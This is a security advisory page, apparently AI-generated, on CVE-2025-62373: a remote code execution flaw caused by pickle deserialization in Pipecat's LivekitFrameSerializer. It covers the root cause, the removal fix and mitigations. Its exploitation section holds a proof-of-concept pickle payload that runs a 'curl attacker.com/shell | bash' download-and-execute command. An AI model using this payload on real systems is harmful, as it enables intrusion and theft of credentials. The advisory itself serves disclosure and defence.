CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-62373

CVE-2025-62373: Remote Code Execution via Insecure Deserialization in Pipecat LivekitFrameSerializer

Amit Schendel
Amit Schendel
Senior Security Researcher

Apr 24, 2026·6 min read·34 visits

Executive Summary (TL;DR)

A critical insecure deserialization flaw in Pipecat versions 0.0.41 through 0.0.93 allows unauthenticated remote attackers to execute arbitrary Python code by sending malicious pickle payloads to an exposed WebSocket endpoint.

CVE-2025-62373 is a critical remote code execution (RCE) vulnerability in Pipecat, an open-source Python framework for building real-time voice and multimodal conversational agents. The flaw originates from the unsafe deserialization of untrusted data using Python's pickle module within the LivekitFrameSerializer class.

Vulnerability Overview

Pipecat is an open-source Python framework designed for constructing real-time voice and multimodal conversational agents. The framework provides various optional serializers to handle different data formats across network transports. One such component, the LivekitFrameSerializer, is responsible for processing audio frame data received over WebSockets from LiveKit clients.

CVE-2025-62373 identifies a critical insecure deserialization vulnerability within this specific serializer component. The vulnerability is tracked under CWE-502 (Deserialization of Untrusted Data) and carries a CVSS v3.1 base score of 9.8. This severity metric reflects the ease with which an unauthenticated remote attacker can exploit the condition to achieve complete system compromise over the network.

The core issue resides in the application's trust model regarding inbound network data. The LivekitFrameSerializer utilizes Python's native pickle module to deserialize incoming binary streams without performing any validation or sanitization. Because the pickle implementation is inherently unsafe when processing untrusted inputs, this architectural design exposes the host system to arbitrary code execution attacks.

Root Cause Analysis

The root cause of CVE-2025-62373 is the direct invocation of pickle.loads() on raw, unvalidated bytes received from a WebSocket connection. Python's pickle module is engineered for serializing and deserializing complex Python object hierarchies. The official Python documentation explicitly states that the module is not secure against erroneously or maliciously constructed data.

During the deserialization process, the pickle implementation reconstructs objects by executing a specialized virtual machine built into the module. Attackers dictate this reconstruction process by defining a __reduce__ method within a custom class. This method specifies a callable object and a tuple of arguments that the virtual machine executes. When the unpickling process encounters this structure, it blindly executes the provided callable with the specified arguments.

In the context of Pipecat, the LivekitFrameSerializer.deserialize() asynchronous method accepts a data parameter of type str | bytes directly from the network layer. The application expects this payload to contain a benign, serialized dictionary containing an AudioFrame object. Because no structural validation or cryptographic signature verification occurs prior to unpickling, an attacker can substitute the expected payload with a malicious object designed to execute arbitrary system commands via modules such as os or subprocess.

Code Analysis

The vulnerable code path existed in the src/pipecat/serializers/livekit.py file. The deserialize method was implemented to directly extract an AudioFrame from the unpickled data structure. The code logic failed to implement any defensive measures against object injection.

async def deserialize(self, data: str | bytes) -> Frame | None:
    """Deserialize LiveKit AudioFrame data to a Pipecat frame."""
    # VULNERABLE SINK: untrusted data passed directly to pickle.loads
    audio_frame: AudioFrame = pickle.loads(data)["frame"]
    return InputAudioRawFrame(
        audio=bytes(audio_frame.data),
        sample_rate=audio_frame.sample_rate,
        num_channels=audio_frame.num_channels,
    )

To resolve this critical flaw, the maintainers implemented a definitive architectural fix in commit c1c7a561ede756f6c7311f4042b1640f916771de. Rather than attempting to securely sandbox the pickle module, they opted to entirely remove the src/pipecat/serializers/livekit.py file and the offending LivekitFrameSerializer class.

This approach eliminates the vulnerability surface completely. The maintainers now direct users to utilize the LiveKitTransport mechanism, which relies on the official LiveKit SDK. This modern implementation uses Protocol Buffers (protobuf) for data serialization, a format that strictly defines data structures and does not support arbitrary code execution during parsing.

Exploitation Methodology

Exploiting CVE-2025-62373 requires minimal prerequisites. An attacker only needs network connectivity to a Pipecat server that exposes a WebSocket endpoint and is configured to utilize the LivekitFrameSerializer. No prior authentication or specific session state is required to trigger the deserialization routine.

The attack sequence begins with the generation of a malicious pickle payload. The attacker constructs a Python script defining a class with a __reduce__ method that returns a target function alongside the desired shell command. The script then serializes an instance of this class into a binary byte stream using pickle.dumps().

import pickle
import os
 
class MaliciousPayload:
    def __reduce__(self):
        # Execute a reverse shell command upon deserialization
        return (os.system, ('curl http://attacker.com/shell | bash',))
 
# Structure matches the expected dictionary key "frame"
payload = pickle.dumps({"frame": MaliciousPayload()})

Once the payload is generated, the attacker initiates a WebSocket connection to the vulnerable Pipecat endpoint. The binary payload is transmitted over the connection. Upon receipt, the server passes the payload to LivekitFrameSerializer.deserialize(), triggering the execution of the embedded command with the operating system privileges of the Pipecat application process.

Impact Assessment

The impact of CVE-2025-62373 is categorized as complete loss of confidentiality, integrity, and availability. Successful exploitation yields unauthenticated Remote Code Execution (RCE). The attacker gains the ability to execute arbitrary commands on the underlying host system with the privileges of the Python process running the Pipecat application.

Because Pipecat is typically deployed as a backend service for conversational agents, the host system often contains highly sensitive configuration data. An attacker can immediately access API keys for downstream AI models, database credentials, and internal network configurations. This access facilitates rapid lateral movement into other segments of the internal infrastructure.

> [!NOTE] > Applications running as the root user or with elevated Docker container privileges expose the host environment to total compromise. Following the principle of least privilege limits the initial scope of the post-exploitation environment.

Furthermore, the real-time nature of the application dictates that it handles continuous audio and text streams. An attacker who compromises the Pipecat server can intercept, record, or manipulate ongoing conversational data. This introduces severe privacy implications for users interacting with the deployed voice agents.

Remediation and Mitigation

The primary and most effective remediation strategy for CVE-2025-62373 is to upgrade the Pipecat framework to version 0.0.94 or later. This release permanently removes the vulnerable LivekitFrameSerializer class from the codebase. Organizations utilizing Pipecat must audit their application dependencies and deploy the patched version immediately.

For developers who previously relied on the LivekitFrameSerializer, the official migration path requires transitioning to LiveKitTransport. This alternative implementation leverages the official LiveKit SDK and employs Protocol Buffers for communication. This architectural shift ensures that data serialization operations are structurally bound and immune to object injection attacks.

If immediate patching is technically infeasible, administrators must implement compensating controls. Network access to the Pipecat WebSocket endpoints should be strictly limited to trusted internal IP addresses using firewall rules or security groups. Binding the application to the 127.0.0.1 loopback interface, rather than 0.0.0.0, will prevent external exploitation from remote hosts.

Official Patches

PipecatOfficial fix commit removing the vulnerable component

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Pipecat framework (LivekitFrameSerializer)Applications exposing Pipecat WebSocket endpoints

Affected Versions Detail

Product
Affected Versions
Fixed Version
pipecat
pipecat-ai
>= 0.0.41, <= 0.0.930.0.94
AttributeDetail
CVSS Score9.8
SeverityCRITICAL
CWE IDCWE-502
Attack VectorNetwork
Authentication RequiredNone
CISA KEV ListedNo

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Vulnerability Timeline

Official fix released in version 0.0.94
2025-11-10
CVE-2025-62373 published and disclosed
2026-04-23

References & Sources

  • [1]GitHub Security Advisory: GHSA-c2jg-5cp7-6wc7
  • [2]Pipecat Fix Commit
  • [3]CVE Record: CVE-2025-62373
  • [4]Technical Write-up: Pipecat RCE

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•35 minutes ago•GHSA-JQWR-VX3P-R266
5.8

GHSA-JQWR-VX3P-R266: SQL Injection in n8n PostgresTrigger Node

An authenticated SQL injection vulnerability (CWE-89) in n8n's PostgresTrigger node allows users with workflow creation or modification privileges to inject arbitrary SQL statements. Because n8n dynamically constructs database administration and event subscription queries by directly interpolating user-controlled parameters—such as PostgreSQL channel, function, and trigger names—without sanitization or identifier quoting, attackers can execute arbitrary queries within the context of the configured database credentials, potentially leading to unauthorized data exposure, system tampering, or remote code execution.

Alon Barad
Alon Barad
1 views•7 min read
•about 2 hours ago•GHSA-652Q-GVQ3-74QV
5.3

GHSA-652q-gvq3-74qv: SQL Injection in n8n Snowflake Node via Unparameterized Expression Interpolation

A SQL Injection vulnerability exists in the n8n Snowflake node's executeQuery operation. The vulnerability is caused by improper neutralization of expressions interpolated directly into database query strings. When raw Snowflake queries are built using untrusted external data without parameterization, an attacker can execute arbitrary SQL commands on the subsequent Snowflake database instance.

Alon Barad
Alon Barad
0 views•7 min read
•about 7 hours ago•CVE-2024-7708
7.5

CVE-2024-7708: Resource Exhaustion via HTTP Connection Buffer Leak in Eclipse Jetty

Eclipse Jetty is subject to an uncontrolled resource consumption vulnerability in its HTTP connection handling component. When processing certain HTTP request sequences, such as those invoking the Expect: 100-Continue handshake under specific network constraints, the server fails to return allocated buffers to its central pool. Over time, this leads to buffer pool exhaustion and a complete denial of service via memory starvation.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 8 hours ago•CVE-2026-65595
8.9

CVE-2026-65595: Privilege Escalation and Remote Code Execution in n8n Token Exchange Module

CVE-2026-65595 is a high-severity privilege escalation vulnerability in the Token Exchange module of the n8n visual workflow automation platform. Due to an validation omission, the system unconditionally maps all Public API scopes to session tokens exchanged through trusted Identity Providers, entirely bypassing user-specific role checks.

Alon Barad
Alon Barad
7 views•6 min read
•about 9 hours ago•CVE-2026-65597
8.2

CVE-2026-65597: DOM-based Cross-Site Scripting (XSS) in n8n HTML Preview

A critical DOM-based Cross-Site Scripting (XSS) vulnerability exists in n8n's workflow editor HTML preview component. By failing to include a sandbox attribute on the iframe used to display node execution output, n8n allowed rendered execution outputs to run arbitrary JavaScript within the same-origin context of the editor parent window. This vulnerability can be exploited by an attacker with low-privileged ('global:member') access to hijack an authenticated administrator's session and perform unauthorized API actions.

Alon Barad
Alon Barad
5 views•5 min read
•about 10 hours ago•CVE-2026-65592
8.4

CVE-2026-65592: Stored DOM-based Cross-Site Scripting via cachedResultUrl in n8n

A Stored DOM-based Cross-Site Scripting (XSS) vulnerability exists within the frontend Resource Locator component of n8n. The flaw stems from insecure usage of window.open() where the application evaluates the workflow-persisted parameter 'cachedResultUrl' without verifying its protocol scheme. Authenticated attackers with permissions to create or edit workflows can insert a 'javascript:' URI payload, leading to arbitrary code execution in the victim's browser context upon interaction.

Alon Barad
Alon Barad
7 views•5 min read